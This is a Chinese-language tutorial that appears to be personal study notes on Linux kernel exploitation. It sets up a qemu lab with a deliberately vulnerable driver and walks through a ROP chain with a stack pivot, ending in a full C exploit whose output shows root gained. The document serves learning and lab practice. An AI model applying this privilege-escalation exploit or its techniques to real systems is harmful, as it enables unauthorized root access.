rop_linux_kernel_pwn

学习Linux x64内核ROP

总结

1. 栈溢出，调用函数
2. 越界构造rop，切换堆栈
3. 通过拿用户态的堆栈的内核地址，来rop
4. 绕过了smep，没有开启kalsr
5. ooops数据的首地址知道，可以算出index，求出目标的

前言

这篇md是我学习linux kernel pwn过程中的知识梳理和总结。一般kernel pwn题目会给出编译好的内核及模块，第一、二部分的编译和编写内核模块过程可以直接省掉。kernle pwn涉及的知识点和坑也比较多，而这个x64内核ROP很适合刚开始学习。

参考

先知社区：

Linux kernle Pwn技巧总结1

linux kernel pwn notes

其它：

Linux x64内核ROP

Linux Kernel ROP - Ropping your way to # (Part 1)

Linux Kernel ROP - Ropping your way to # (Part 2)

Linux Kernel Pwn ABC(I)

Linux Kernel Pwn ABC(II)

一、编译linux内核与busybox

建议用qemu+gdb环境来调试，本人使用Ubuntu16.04，所需要的东西有：

- qemu
- busybox

其中busybox的作用是构建一个简单的文件系统和命令，以此配合内核的启动。

1.编译kernel

安装依赖

> sudo apt-get update
>
> sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc qemu qemu-system

下载源码：

> https://mirrors.edge.kernel.org/pub/linux/kernel/

本次练习选用的内核版本是
3.13.11(https://mirrors.edge.kernel.org/pub/linux/kernel/v3.x/linux-3.13.11.tar.gz)

解压后设置，在源码目录：

> make menuconfig

注意：为了解决内核与模块版本校验不一致出现的***“disagrees about version of symbol struct_module“** ，选择关闭内核的模块版本控制功能。模块版本控制选项在内核源码配置文件.config中，注释掉CONFIG_MODVERSIONS就取消了模块版本控制。

> CONFIG_MODVERSIONS=y

内核生成

> make bzImage

生成的bzImage在/arch/x86/boot/下，vmlinux在源码根目录，前者为压缩内核，后者为静态编译，未经压缩的kernel。vmlinux也可以由extract-vmlinux.sh从bzImage中生成：

> ./extract-vmlinux.sh bzImage > vmlinux

2.编译busybox

下载源码

> https://busybox.net/downloads/busybox-1.30.0.tar.bz2

解压后设置

> make menuconfig

进设置后，勾上**Build static binary (no shared libs)**

编译

> make install -j4

打包、内核初始化：

```
cd _install
mkdir proc
mkdir sys
touch init
chmod +x init
touch packet
```

init中内核初始化：

```
#!/bin/sh
```

```
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

#insmod /xxx.ko
insmod /drv.ko
chmod 777 /dev/vulndrv
#mdev -s # We need this to find /dev/sda later
setsid /bin/cttyhack setuidgid 1000 /bin/sh #normal user

umount /proc
umount /sys

poweroff -d 0  -f
```

insmod为加载指定内核，如果加了-s则为调试选项。

packet：文件打包：

```
#!/bin/sh
rm ../rootfs.cpio
find . | cpio -o --format=newc > ../rootfs.cpio
```

cpio文件的解包：

```
cpio -idmv < rootfs.cpio
```

3.启动脚本

目录结构

为便于后期的调试，建立一个qemu目录，将kernel、busybox及启动脚本组织为如下结构

```
qemu
├── boot.sh
├── bzImage
├── core                <--busybox及内核模块
│   ├── bin
│   ├── drv.ko     <--测试用的内核模块
│   ├── extract-vmlinux.sh
│   ├── init
│   ├── linuxrc -> bin/busybox
│   ├── packet
│   ├── proc
│   ├── sbin
│   ├── sys
│   └── usr
├── rootfs.cpio
├── run.sh
└── vmlinux
```

boot.sh

boot.sh为启动qemu的脚本

```
#!/bin/sh

qemu-system-x86_64 -initrd rootfs.cpio \
    -kernel bzImage \
    -append 'console=ttyS0 root=/dev/ram rw oops=panic panic=1' \
    -m 128M \
    --nographic  \
    -s
```

- -m megs
  设置内存大小，单位是M
- -kernel bzImage
  指定kernel image文件
- -initrd file

要运行不能只有内核，这里是相当于指定一个硬盘（使用软件将RAM模拟当做硬盘来使用）

- -append cmdline
  指定命令行
- -s
  -gdb tcp::1234这个命令的缩写，在gdb里可以target remote :1234进行调试

run.sh

run.sh为方便调试时的脚本，内容为编译exp文件、重新打包，并启动qemu。

```
#!/bin/sh

gcc -static -o core/exp exp.c
cd core
./packet
cd ..
./boot.sh
```

二、编写内核模块

这里使用的是github上作者的代码：https://github.com/vnik5287/kernel_rop

1. 内核模块源码

> drv.h

```
struct drv_req {
    unsigned long offset;
};
```

> drv.c

```
```

```c
/**
 * Vulnerable kernel driver
 *
 * This module is vulnerable to OOB access and allows arbitrary code
 * execution.
 * An arbitrary offset can be passed from user space via the provided ioctl().
 * This offset is then used as an index for the 'ops' array to obtain the
 * function address to be executed.
 *
 *
 * Full article: https://cyseclabs.com/page?n=17012016
 *
 * Author: Vitaly Nikolenko
 * Email: vnik@cyseclabs.com
 **/

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/device.h>
#include "drv.h"

#define DEVICE_NAME "vulndrv"
#define DEVICE_PATH "/dev/vulndrv"

MODULE_INFO(vermagic,"3.13.11 SMP mod_unload ");

static int device_open(struct inode *, struct file *);
static long device_ioctl(struct file *, unsigned int, unsigned long);
static int device_release(struct inode *, struct file *f);

static struct class *class;
unsigned long *ops[3];
static int major_no;

static struct file_operations fops = {
    .open = device_open,
    .release = device_release,
    .unlocked_ioctl = device_ioctl
```

```
};

static int device_release(struct inode *i, struct file *f) {
    printk(KERN_INFO "device released!\n");
    return 0;
}

static int device_open(struct inode *i, struct file *f) {
    printk(KERN_INFO "device opened!\n");
    return 0;
}

static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) {
    struct drv_req *req;
    void (*fn)(void);

    switch(cmd) {
    case 0:
        req = (struct drv_req *)args;
        printk(KERN_INFO "size = %lx\n", req->offset);
                printk(KERN_INFO "fn is at %p\n", &ops[req->offset]);
        fn = &ops[req->offset];
        fn();
        break;
    default:
        break;
    }

    return 0;
}

static int m_init(void) {
    printk(KERN_INFO "addr(ops) = %p\n", &ops);
    major_no = register_chrdev(0, DEVICE_NAME, &fops);
    class = class_create(THIS_MODULE, DEVICE_NAME);
    device_create(class, NULL, MKDEV(major_no, 0), NULL, DEVICE_NAME);

    return 0;
```

```
}

static void m_exit(void) {
    device_destroy(class, MKDEV(major_no, 0));
    class_unregister(class);
    class_destroy(class);
    unregister_chrdev(major_no, DEVICE_NAME);
    printk(KERN_INFO "Driver unloaded\n");
}

module_init(m_init);
module_exit(m_exit);

MODULE_LICENSE("GPL");
```

> trigger.c(用于调试时的触发漏洞)

```
/**
 * User-space trigger application for OOB in drv.c
 *
 *
 * Full article: https://cyseclabs.com/page?n=17012016
 *
 * Author: Vitaly Nikolenko
 * Email: vnik@cyseclabs.com
 *
 **/

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "drv.h"
```

```c
#define DEVICE_PATH "/dev/vulndrv"

int main(int argc, char **argv) {
    int fd;
    struct drv_req req;

    req.offset = atoll(argv[1]);

    fd = open(DEVICE_PATH, O_RDONLY);

    if (fd == -1) {
        perror("open");
    }

    ioctl(fd, 0, &req);

    return 0;
}
```

> Makefile

```
obj-m += drv.o

CC=gcc
ccflags-y += "-g"
ccflags-y += "-O0"

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
    # compile the trigger
    $(CC) trigger.c -static -O2 -o trigger

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
    rm -fr ./trigger
```

2. 编译内核模块

```
make
```

将生成的drv.ko和tigger复制到core目录下。

3. 解决version magic不一致导致内核模块不能加载

```
$ insmod drv.ko
version magic '3.13.11 SMP mod_unload' should be '3.13.11 SMP mod_unload '
insmod: can't insert 'drv.ko': invalid module format
```

解决办法：修改drv.c文件，增加：

> MODULE_INFO(vermagic,"3.13.11 SMP mod_unload ");

三、调试

1. qemu

```
./run.sh
$lsmod
drv 13116 0 - Live 0xffffffffa0000000 (OF)
/ $ dmesg|grep "addr(ops)"
addr(ops) = ffffffffa0002340
```

2. gdb

```
gdb vmlinux
pwndbg> target remote :1234 (gdb远程连接到qemu)
pwndbg> add-symbol-file core/drv.ko 0xffffffffa0000000 (增加内核模块的符号文件)
pwndbg> b *0xffffffffa0000141  (在call rax处下断点)
```

四、ROP提权的基础思路

在典型的ret2usr 攻击中，内核执行流被重定向到一个用户空间的地址，这个地址中包含了提权的载荷：

```
void __attribute__((regparm(3))) payload() {
    commit_creds(prepare_kernel_cred(0));
}
```

上述提权payload会分配一个新的凭证结构（uid=0, gid=0等）并将它应用到调用进程。我们可以构建一个ROP链，使用位于内核空间中的gadget，从而在内核中执行整个权限提升payload。

构造的ROP链结构一般是这样的：

```
|----------------------|
| pop rdi; ret         |<== low mem
|----------------------|
| NULL                 |
|----------------------|
| addr of              |
| prepare_kernel_cred()|
|----------------------|
| mov rdi, rax; ret    |
|----------------------|
```

```
| addr of              |
| commit_creds()       |<== high mem
|----------------------|
```

先将函数的第一个参数传入rdi寄存器中，从堆栈中弹出NULL，将这个值传递给prepare_kernel_cred()函数，指向一个新的凭证结构的指针将存储在rax中，执行mov rdi, rax操作，作为参数传递给commit_creds()，这样就实现了一个提权ROP链。

内核空间的gadget可以从内核的二进制文件中（vmlinux）或是内核模块中提取，使用ROPgadget来获取gadget，最好一次性把gadget都写到一个文件中，再通过grep来查找合适的gadget。

```
ROPgadget --binary vmlinux > rop_gadgets.txt
```

根据前面我们构造的ROP链，要找**pop rdi; ret**和**mov rdi, rax; ret**这两个gadget，但是在vmlinux里并没有mov rdi, rax; ret这个gadget，只能用**mov rdi, rax ; call rdx**和**pop rdx; rer**来代替。

ROP链如下：

```
|----------------------|
| pop rdi; ret         |<== low mem
|----------------------|
| NULL                 |
|----------------------|
| addr of              |
| prepare_kernel_cred()|
|----------------------|
| pop rdx; ret         |
|----------------------|
| pop rdx; ret         |
|----------------------|
| mov rdi, rax ;       |
| call rdx             |
|----------------------|
| addr of              |
| commit_creds()       |<== high mem
```

```
|----------------------|
```

注意：**ROP链中的pop rdx; ret**。这是因为在call rdx后并没有ret，在调用call rdx时，call指令会将内核空间处call的下一条指令push到堆栈中，call完后返回继续执行原call后面的指令；在call rdx时执行pop rdx; ret，将call指令后的地址pop后，这时ret的指向的堆栈中正是我们期望的commit_creds。

在完成提权后，我们还需要返回到用户空间里执行system('/bin/sh')，用下面的两个指令：

```
swapgs
iretq
```

使用iretq指令返回到用户空间，在执行iretq之前，执行swapgs指令。该指令通过用一个MSR中的值交换GS寄存器的内容，用来获取指向内核数据结构的指针，然后才能执行系统调用之类的内核空间程序。
iretq的堆栈布局如下：

```
|----------------------|
| RIP                  |<== low mem
|----------------------|
| CS                   |
|----------------------|
| EFLAGS               |
|----------------------|
| RSP                  |
|----------------------|
| SS                   |<== high mem
|----------------------|
```

新的用户空间指令指针(RIP)、用户空间堆栈指针(RSP)、代码和堆栈段选择器(CS和SS)以及具有各种状态信息的EFLAGS寄存器。RIP指向system('/bin/sh)'以获取一个shell。使用下面的save_state()函数从用户空间进程获取CS，SS和EFLAGS值：

```
unsigned long user_cs, user_ss, user_rflags;

static void save_state() {
```

```
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
```

五、开始ROP

1. 漏洞分析

```
static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) {
    struct drv_req *req;
    void (*fn)(void);

    switch(cmd) {
    case 0:
        req = (struct drv_req *)args;
        printk(KERN_INFO "size = %lx\n", req->offset);
                printk(KERN_INFO "fn is at %p\n", &ops[req->offset]);
        fn = &ops[req->offset];
        fn();
        break;
    default:
        break;
    }

    return 0;
}
```

ops数组没有进行边界检查，用户提供的偏移量足够大就可以在用户空间或内核空间中访问

任何内存地址。

2. 利用思路

在没有开启系统内核的地址随机化时，可以通过预先计算的偏移，执行内核空间中任意地址的代码。我们可以把fn() 指向内核空间或mmap的用户空间存储地址。由反汇编代码可知，执行fn()是通过**call rax**来执行的，rax 包含要执行的指令地址。我们可以提前计算这个地址，因为已知ops数组的基地址（在drv.ko运行时将打印出来）和用户传递的offset值。

例如，给定的ops基地址0xffffffffaaaaaaaf 和offset=0x6806288 ， fn 地址为0xffffffffaaaaaaaf+8*0×6806288=0xffffffffdeadbeef 。反过来，可以计算出需要执行的内核目标地址相对ops数组的偏移值。

由于我们是在内核空间执行代码，并且无法把ROP链放到内核空间中，因此只能把ROP链放到用户空间，通过在内核空间找到合适的gadget（stack pivot），通过执行call rax 将存放ROP链的堆栈从内核空间切换到用户空间。

3. Stack Pivot

我们可以在内核空间寻找到以下几种gadget：

```
mov %rsp, %r*x ; ret
mov %rsp, ... ; ret
xchg %r*x, %rsp ; ret
```

虽然我们的测试环境是64位，但是最后一个stack pivot使用32位寄存器，即xchg %e*x, %esp;ret 或xchg %esp, %e*x;ret ，我们在这里使用xchg eax, esp;ret（**执行完指令后高32位都会被清0**）。如果 rax包含有效的内核内存地址（例如 0xffffffff********），则该stack pivot指令将 rax的低32位（ 0x********`为用户空间地址）设置为新的栈指针。

由于该rax 值在执行fn()之前已知，所以我们知道新的用户空间栈将在哪里，通过mmap来申请为指定的用户空间。**这是进行ROP的第一步、也是关键的一步：rax 表示了内核中gadget的地址，其低32位eax 表示了一个用户空间地址。**

```
qemu$ grep ': xchg eax, esp ; ret' rop_gadgets.txt
```

```
0xffffffff81000085 : xchg eax, esp ; ret
0xffffffff8221a2be : xchg eax, esp ; ret 0
0xffffffff8155c3e4 : xchg eax, esp ; ret 0x103d
0xffffffff81023db9 : xchg eax, esp ; ret 0x10a8
0xffffffff817355a2 : xchg eax, esp ; ret 0x12eb
0xffffffff814a64bd : xchg eax, esp ; ret 0x148
0xffffffff81198589 : xchg eax, esp ; ret 0x148d
0xffffffff813e47a5 : xchg eax, esp ; ret 0x14c
0xffffffff810d7f38 : xchg eax, esp ; ret 0x14ff
```

注意：选择stack pivot gadget时，要8字节对齐（因为ops是8字节指针的数组，而且其基址是8字节对齐的），下面的脚本可以查找合适的gadget：

```
rax = 0xffffffffa0002340
with open('xchg_eax_esp_addr.txt') as f:
    for line in f:
        data = line.split(':')
        addr = int(data[0].strip(),16)
        if addr % 8 ==0:
            #这里是负数，因此要转换为无符号数
            index = (addr-rax + 2**64)/8
            print('gadgets:{}'.format(line))
            print('gadgets addr:{}'.format(hex(addr)))
            print('array index:{}'.format(index))
            stack_new = addr & 0xffffffff
            print('stack new addr:{}'.format(hex(stack_new)))
            break
```

运行结果：

```
qemu$ ./find_xchg_addr.py
gadgets:0xffffffff810d7f38 : xchg eax, esp ; ret 0x14ff
gadgets addr:0xffffffff810d7f38L
array index:2305843009148791679
stack new addr:0x810d7f38L
```

4. mmap内存

```
unsigned long stack_addr = 0x810d7f38UL;
unsigned long mmap_addr = stack_addr & 0xffff0000;
unsigned long *fake_stack;
void *mmapd_addr;
//申请内存映射到指定的用户空间地址
mmapd_addr = mmap((void *)mmap_addr,0x1000000,7,0x32,0,0);
//设置第一条gadgets，在xchg后栈指针将指向这里
fake_stack = (unsigned long*)stack_addr;
*fake_stack = pop_rdi;
//在ret 0x14ff后，新的栈指针位置
fake_stack = (unsigned long*)(stack_addr - 0x62a1);
```

这里选择的stack pivot带有操作数：xchg eax, esp; ret 0x14ff ，即xchg eax, esp; pop eip; add rsp 0x14ff ，此时esp 就指向了eax 表示的用户空间栈fake_stack ，eip指向fake_stack 中的gadget。

按道理讲第二条ROP链应该位于fake_stack 偏移为0x14ff+8的位置，但是通过调试发现偏移却是**-0x61a1**（这里困扰了我很久。**注：在原作者blog里是0x9d5f，可能是不同版本的内核导致不一样。调试时在device_ioctl的call rax下断点，单步执行查看rsp变化即可**）。

5. 获取gadgets

在qemu中获取prepare_kernel_cred和commit_cred

```
/ $ cat /proc/kallsyms |grep prepare_kernel_cred
ffffffff81092850 T prepare_kernel_cred
/ $ cat /proc/kallsyms  |grep commit_cred
ffffffff81092550 T commit_creds
```

在vmlinux中获取iretq和swapgs

```
0xffffffff8168e3f4 : iretd ; int 0x81
0xffffffff81051744 : swapgs ; pop rbp ; ret
```

7. 完整payload

```
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>

#define DEVICE_PATH "/dev/vulndrv"

struct drv_req {
    unsigned long offset;
};
unsigned long user_cs,user_ss,user_eflags,user_sp;
void save_stats() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
```

```
}

void get_shell(){
    system("/bin/sh");
}
int main(){
    //stack pivot gadget
    unsigned long xchg_esp_eax = 0xffffffff810d7f38UL; //xchg eax, esp ; ret 0x14ff
    //gadgets:
    unsigned long prepare_kernel_cred = 0xffffffff81092850UL;
    unsigned long commit_cred = 0xffffffff81092550UL;
    unsigned long pop_rdi = 0xffffffff8119e39dUL;     //pop rdi ; ret
    unsigned long pop_rdx = 0xffffffff81122a0dUL;     //pop rdx ; ret
    unsigned long mov_rdi_rax_call_rdx = 0xffffffff810363c1UL;  ////mov rdi, rax ; call rdx
    unsigned long swapgs_pop_ebp = 0xffffffff81051744UL;       //swapgs ; pop rbp ; ret
    unsigned long iret = 0xffffffff8168e3f4UL;         //iretd ; int 0x81
    //new stack addr from xchg esp,eax
    //eax from req.offset
    unsigned long stack_addr = 0x810d7f38UL;
    //rop gadget in new stack addr
    unsigned long mmap_addr = stack_addr & 0xffff0000;
    unsigned long *fake_stack;
    void *mmapd_addr;
    struct drv_req req;
    int fd;
    req.offset = 2305843009148791679;
    save_stats();
    //mmap addr:
    mmapd_addr = mmap((void *)mmap_addr,0x1000000,7,0x32,0,0);
    fprintf(stdout,"stack_addr:0x%lx\n",stack_addr);
    fprintf(stdout,"mmapd_addr:0x%lx\n",(unsigned long)mmapd_addr);
    fake_stack = (unsigned long*)stack_addr;
    fprintf(stdout,"fake_stack_addr:0x%lx\n",fake_stack);
    *fake_stack = pop_rdi;
    //switch rsp
    fake_stack = (unsigned long*)(stack_addr - 0x62a1);
    fprintf(stdout,"fake_stack_addr:0x%lx\n",fake_stack);
```

```
    *fake_stack++ = 0UL;
    *fake_stack++ = prepare_kernel_cred;
    *fake_stack++ = pop_rdx;
    *fake_stack++ = pop_rdx;
    *fake_stack++ = mov_rdi_rax_call_rdx;
    *fake_stack++ = commit_cred;
    *fake_stack++ = swapgs_pop_ebp;
    *fake_stack++ = 0xdeadbeafUL;
    *fake_stack++ = (unsigned long)get_shell;
    *fake_stack++ = user_cs;
    *fake_stack++ = user_eflags;
    *fake_stack++ = user_sp;
    *fake_stack++ = user_ss;

    fd = open(DEVICE_PATH,O_RDONLY);
    ioctl(fd,0,&req);
}
```

8. exploit

```
/$ id
uid=1000 gid=1000 groups=1000
/ $ ./exp
stack_addr:0x810d7f38
mmapd_addr:0x810d0000
fake_stack_addr:0x810d7f38
fake_stack_addr:0x810d1c97
[   17.713532] device opened!
[   17.716624] size = 1ffffffffc21ab7f
[   17.717336] fn is at ffffffff810d7f38
/ # id
uid=0 gid=0
```

完整的代码和脚本放在github上。

补充：汇编的ret N

以32位程序为例

> retn

先eip=[esp]，然后esp=esp+4

> retn N

先eip=[esp]，然后esp=esp+4+N

5.4.7 insmod -s drv.ko

```
[   16.306269] e1000: enp0s3 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
[   16.329834] IPv6: ADDRCONF(NETDEV_CHANGE): enp0s3: link becomes ready
[ 1316.998325] drv: version magic '4.4.0-186-generic SMP mod_unload modversions ' should be '5.4.7 SM
P mod_unload '
[ 1316.998680] audit: type=1400 audit(1597384835.341:8): avc:  denied  { module_load } for  pid=343 c
omm="insmod" path="/tmp/drv.ko" dev="sda" ino=16130 scontext=system_u:system_r:kernel_t:s0 tcontext=s
ystem_u:object_r:tmp_t:s0 tclass=system permissive=1
```

00000000d81e35ff

插入驱动

```
gdb$ add-symbol-file   ../../rop_linux_kernel_pwn/kernel_rop/kernel_rop/drv.ko  0x00000000d81e35ff
add symbol table from file "../../rop_linux_kernel_pwn/kernel_rop/kernel_rop/drv.ko" at
        .text_addr = 0xd81e35ff
Reading symbols from ../../rop_linux_kernel_pwn/kernel_rop/kernel_rop/drv.ko...done.
```

```
[  148.030914] audit: type=1400 audit(1597388240.255:8): avc:  denied  { module_load } for  pid=340 c
omm="insmod" path="/tmp/trigger" dev="sda" ino=16147 scontext=system_u:system_r:kernel_t:s0 tcontext=
system_u:object_r:tmp_t:s0 tclass=system permissive=1
[  194.615780] drv: loading out-of-tree module taints kernel.
[  194.658352] addr(ops) = 00000000d81e35ff
```

```
root@syzkaller:/tmp# insmod   drv.ko
root@syzkaller:/tmp# ls
drv.ko  systemd-private-3af366dfbfff4c93a8a9b980fc65f6eb-systemd-timesyncd.service-A06MuF  trigger
root@syzkaller:/tmp# ls -al /dev/vulndrv
crw-------. 1 root root 248, 0 Aug 14 06:58 /dev/vulndrv
```

```
gdb$ x/10x $rsp
0x810d1c97:     0x0000000000000000      0xffffffff81092850
0x810d1ca7:     0xffffffff81122a0d      0xffffffff81122a0d
0x810d1cb7:     0xffffffff810363c1      0xffffffff81092550
0x810d1cc7:     0xffffffff81051744      0x00000000deadbeaf
0x810d1cd7:     0x00000000004009dc      0x0000000000000033
gdb$
```